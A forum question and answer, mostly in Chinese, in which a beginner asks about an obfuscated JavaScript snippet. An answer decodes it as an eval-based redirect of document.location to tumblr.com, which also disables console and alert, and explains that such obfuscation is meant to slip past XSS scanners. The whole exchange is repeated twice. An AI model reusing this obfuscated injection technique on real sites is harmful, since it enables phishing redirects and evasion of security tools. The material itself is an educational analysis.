谁能解释这个 javascript 漏洞?
Can anyone explain this javascript exploit?
var a = ['document', 'window', String];
var b = '108 111 99 97 116 105 111 110';
var c = '%68%74%74%70%73%3a%2f%2f%77%77%77%2e%74%75%6d%62%6c%72%2e%63%6f%6d';
var d = 'ZnJvbUNoYXJDb2Rl';
var e = 'ZGVjb2RlVVJJQ29tcG9uZW50';
var f = '1c2o3n4s5o6l7e8', g = '6a5l4e3r2t1';
function x(s) {
var ss = s.split(' '); s = '';
for (var i = 0; i < ss.length; i++) s += a[2][atob(d)](ss[i]);
return s;
}
console = null;
function y(s) {
var ss = '';
for (var i = 1; i < s.length; i+= 2) ss += s[i];
return ss;
}
a[1][y(f)] = a[1][y(g)] = null;
var s = a[0] + '["' + x(b) + '"]=' + a[1] + '["' + atob(e) + '"]("' + c + '")';
eval(s);
我是新手,想知道这个漏洞的作用是什么?
如何对此类漏洞进行分析,了解此类事情的最佳方法是什么?
我了解逆向工程和装配的基础知识,但我无法弄清楚这一点。
它执行以下操作:
document["location"]=windows["decodeURIComponent"]("https://www.tumblr.com")
将您重定向到 tumblr.com。
纯代码混淆
var s = a[0] + '["' + x(b) + '"]=' + a[1] + '["' + atob(e) + '"]("' + c + '")';
^ ^ ^ ^ ^ ^
Payload=document[" (1) "]= windows [base64 encoded ]( url http encoded string)
下面将ascii字符编码转成字符串
(1): for (var i = 0; i < ss.length; i++) s += a[2][atob(d)](ss[i])
这样做的主要目的是为了躲避像某些杀毒软件一样寻找 XSS 的软件。然而,这只是一个有效载荷,真正的利用是一个缺陷,允许您将其插入合法网站以重定向到另一个可能是克隆的网站,只是略有不同 URL 来欺骗某人。但是在 security.stackexchange.com
上质疑这个更准确
Node 是评估不安全浏览器的好工具 Javascript 如果你用自制的等价物替换一些东西(比如 atob
)。
var a = ['document', 'window', String];
var b = '108 111 99 97 116 105 111 110';
var c = '%68%74%74%70%73%3a%2f%2f%77%77%77%2e%74%75%6d%62%6c%72%2e%63%6f%6d';
var d = 'ZnJvbUNoYXJDb2Rl';
var e = 'ZGVjb2RlVVJJQ29tcG9uZW50';
var f = '1c2o3n4s5o6l7e8', g = '6a5l4e3r2t1';
function x(s) {
var ss = s.split(' '); s = '';
for (var i = 0; i < ss.length; i++) s += a[2][atob(d)](ss[i]);
return s;
}
console = null;
function y(s) {
var ss = '';
for (var i = 1; i < s.length; i+= 2) ss += s[i];
return ss;
}
a[1][y(f)] = a[1][y(g)] = null;
var s = a[0] + '["' + x(b) + '"]=' + a[1] + '["' + atob(e) + '"]("' + c + '")';
eval(s);
我是新手,想知道这个漏洞的作用是什么? 如何对此类漏洞进行分析,了解此类事情的最佳方法是什么? 我了解逆向工程和装配的基础知识,但我无法弄清楚这一点。
它执行以下操作:
document["location"]=windows["decodeURIComponent"]("https://www.tumblr.com")
将您重定向到 tumblr.com。
纯代码混淆
var s = a[0] + '["' + x(b) + '"]=' + a[1] + '["' + atob(e) + '"]("' + c + '")';
^ ^ ^ ^ ^ ^
Payload=document[" (1) "]= windows [base64 encoded ]( url http encoded string)
下面将ascii字符编码转成字符串
(1): for (var i = 0; i < ss.length; i++) s += a[2][atob(d)](ss[i])
这样做的主要目的是为了躲避像某些杀毒软件一样寻找 XSS 的软件。然而,这只是一个有效载荷,真正的利用是一个缺陷,允许您将其插入合法网站以重定向到另一个可能是克隆的网站,只是略有不同 URL 来欺骗某人。但是在 security.stackexchange.com
上质疑这个更准确Node 是评估不安全浏览器的好工具 Javascript 如果你用自制的等价物替换一些东西(比如 atob
)。